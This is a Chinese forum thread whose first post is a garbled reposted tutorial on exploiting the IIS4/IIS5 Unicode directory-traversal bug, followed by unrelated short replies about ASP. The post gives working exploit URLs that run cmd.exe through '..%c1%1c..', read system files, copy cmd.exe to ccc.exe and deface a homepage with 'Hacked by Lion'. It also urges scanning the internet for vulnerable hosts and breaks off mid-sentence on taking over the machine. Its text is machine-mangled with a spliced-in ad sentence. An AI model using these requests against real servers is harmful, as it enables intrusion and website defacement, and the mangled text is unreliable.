第二个灵魂 发表于 2015-1-16 23:15:03

ASP网页设计IIS5 UNICODE 编码毛病的使用心得

帮助用户快速实现各种应用服务,ASP商有整合各方面资源的能力,可在短期内为用户提供所需的解决方案。例如,典型的ERP安装,如果要在客户端安装的话需要半年到二年的时间,但是美国的一些ASP商如USI和CORIO能在90—120天内提供ERP应用方案。iis|编码|心得  人人必定都晓得谁人风景了好久的IIS5UNICODE编码毛病吧。没举措,第一篇教程不晓得写甚么好,任意先对付着,
就写一下这个毛病的打击心得吧。

1起首我们来看看这个毛病的道理。
在中文版的IIS4,和ISS5中,存在一个BUG,缘故原由是UNICODE编码存在BUG在UNICODE编码中,发明了一个奇异的编码方
式,

比方:

%c1%hh%c0%hh(0x00〈=0xhh〈0x40)
IIS把"%c1%hh"编码成(0xc1-0xc0)*0x40+0xhh.

比方
(Windows2000+IIS5.0+SP1简体中文版):
http://192.168.8.48/A.ida/%c1%00.ida
IIS将前往"@.ida"找不到该文件在这里(0xc1-0xc0)*0x40+0x00=0x40=@

http://192.168.8.48/A.ida/%c1%01.ida
IIS将前往"A.ida"找不到该文件这里(0xc1-0xc0)*0x40+0x01=0x41=A

http://192.168.8.48/A.ida/%c1%02.ida
IIS将前往"B.ida"找不到该文件....

http://192.168.8.48/A.ida/%c0%21.ida
IIS将前往"!.ida"找不到该文件

这就意味着你能使用这些编码的特性。

比方:
%c1%1c-〉(0xc1-0xc0)*0x40+0x1c=0x5c=/
%c0%2f-〉(0xc0-0xc0)*0x40+0x2f=0x2f=

以是我们就能够用这类办法进进一些目次。

(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

如许我们将失掉
Directoryofd:inetpubscripts
2000-09-2815:49〈DIR〉
.  1999-07-2117:49147,456
Count.exe2000-09-1217:08438,290
Count25.exe2000-10-1315:038,867
counter.err2000-08-2323:07160,002
counter.exe1999-05-2518:143,925
CountNT.html1999-07-2117:4964,512
extdgts.exe2000-08-1015:2446,352
ism.dll1999-07-2117:4964,512
mkstrip.exe1999-05-2518:181,317
README.txt2000-09-2815:49

〈DIR〉wcount9File(s)935,233bytes


(2)我们也能够使用此BUG失掉一些体系文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
IIS将把它看成a.ASP文件提交.它将让asp.dll来翻开文件win.ini
假如用IIS4.0+SP6(中文版),将不克不及测试乐成可是我们能用以下办法失掉。
http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini

"default.asp"是一个存在的.ASP文件,"a.exe"是一个随机的.EXE文件名.它能够不存在。
打上SP1仍旧另有这类编码成绩。

在英文版本中利用%c1%af能一般使用这个毛病。


2.懂得了毛病的具体材料。让我们来讲说怎样使用。
a.使用IISExploitSearcher这个软件,我们来找有这个毛病的主机。
固然这个毛病发布好久了,但你仍旧会发明,你能够找到良多这类呆板。
假设我们已找到了一台有这个毛病的呆板。

让我们来举行上面的操纵。

b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+ccc.exe

这个URL语句的实行的命令是:使用NT/2000下的命令注释程序cmd.exe来实行一个拷贝命令。

copyc:winntsystem32cmd.execcc.exe

它把c:winntsystem32cmd.exe拷贝到了c:inetpubscriptsccc.exe

就是DOS命令中的空格,在URL中就要换成“+”号。

你要实行copyc:winntsystem32cmd.execcc.exe

绝对应的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+ccc.exe

个中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是流动的,他的感化是挪用c:winntsystem32cmd.exe来实行命
令。


噢,忘了说为何要拷贝cmd.exe了。

由于微软的iis加载程序的时分检测到有串cmd.exe的话就要检测特别字符“&(,;%”,以是必需更名。


c.这时候c:winntsystem32cmd.exe已拷贝到了c:inetpubscriptsccc.exe

经由过程

http://ip/scripts/ccc.exe?/c

我们就能够挪用到cmd.exe了,就是说不必谁人编码了。

http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Lion+>+c:inetpubwwwrootdefault.asp

http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:inetpubwwwrootdefault.asp

主页面就被修正成了:

HackedbyLion

20/10/2000

也就是说,已把他的主页黑了。

:P


上面是一些注释。

个中echo是一个回显命令。

你在DOS下打一个echoHackedbyLion看看。

它是在屏幕上显现

HackedbyLion

不但如许

你也能够让它把器材写进一个文件。

echoHackedbyLion>lion.txt

如许以后目次下的lion.txt文件里就有了HackedbyLion的字样。

个中>lion.txt的用处是把回显的字符写进lion.txt,它掩盖本来的内容。

你假如再想用echo20/10/2000>lion.txt来写剩下的内容的话,

你会发明它掩盖了本来的内容HackedbyLion。

怎样办呢?别急!

echoHackedbyLion>lion.txt

echo20/10/2000>>lion.txt

看看吧

文件内里的是

HackedbyLion

20/10/2000

乐成了。

如许,就能够用下面的注释,把空格用"+"取代,就能够向他人的主页写任何器材了。


增补一点

很多多少站点inetpub下的scripts目次删除,但ProgramFilesCommonFilesSystem下的msadc还在

(有msadcs.dll毛病的话就不必%c1%1c了)。

这时候能够以下机关哀求:

http://ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:

就可以挪用到cmd.exe


3.固然,我们也不克不及只停止在黑主页的境地,固然想进一步把持全部呆板了。

:P

上面来讲说几种办法来把持这个呆板。

a.假如c:winn</p>缺点:正版成本价格贵(盗版就不说了)、不够安全,大多数服务器用windows系统,没有linux安全

小魔女 发表于 2015-1-20 08:39:17

Application:这个存储服务端的数据,如果不清除,会直到web应用程序结束才清除(例如重启站点)

透明 发表于 2015-1-21 19:40:57

他的语法和设计思路和VB完全相同,导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是,相当多的ASP教程混合了Javascript,VBscript等等脚本语言,搞的初学者。

再见西城 发表于 2015-1-30 21:12:48

还有如何才能在最短的时间内学完?我每天可以有效学习2小时,双休日4小时。

简单生活 发表于 2015-2-6 15:59:53

ASP(ActiveServerPages)是Microsfot公司1996年11月推出的WEB应用程序开发技术,它既不是一种程序语言,也不是一种开发工具,而是一种技术框架,不须使用微软的产品就能编写它的代码,能产生和执行动态、交互式、高效率的站占服务器的应用程序。

柔情似水 发表于 2015-2-16 23:56:53

运用ASP可将VBscript、javascript等脚本语言嵌入到HTML中,便可快速完成网站的应用程序,无需编译,可在服务器端直接执行。容易编写,使用普通的文本编辑器编写,如记事本就可以完成。由脚本在服务器上而不是客户端运行,ASP所使用的脚本语言都在服务端上运行。

深爱那片海 发表于 2015-3-5 12:25:42

他的语法和设计思路和VB完全相同,导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是,相当多的ASP教程混合了Javascript,VBscript等等脚本语言,搞的初学者。

蒙在股里 发表于 2015-3-12 06:58:14

不能只是将它停留在纸上谈兵的程度上。

再现理想 发表于 2015-3-19 18:34:24

ASP.Net摆脱了以前ASP使用脚本语言来编程的缺点,理论上可以使用任何编程语言包括C++,VB,JS等等,当然,最合适的编程语言还是MS为.NetFrmaework专门推出的C(读csharp),它可以看作是VC和Java的混合体吧。
页: [1]
查看完整版本: ASP网页设计IIS5 UNICODE 编码毛病的使用心得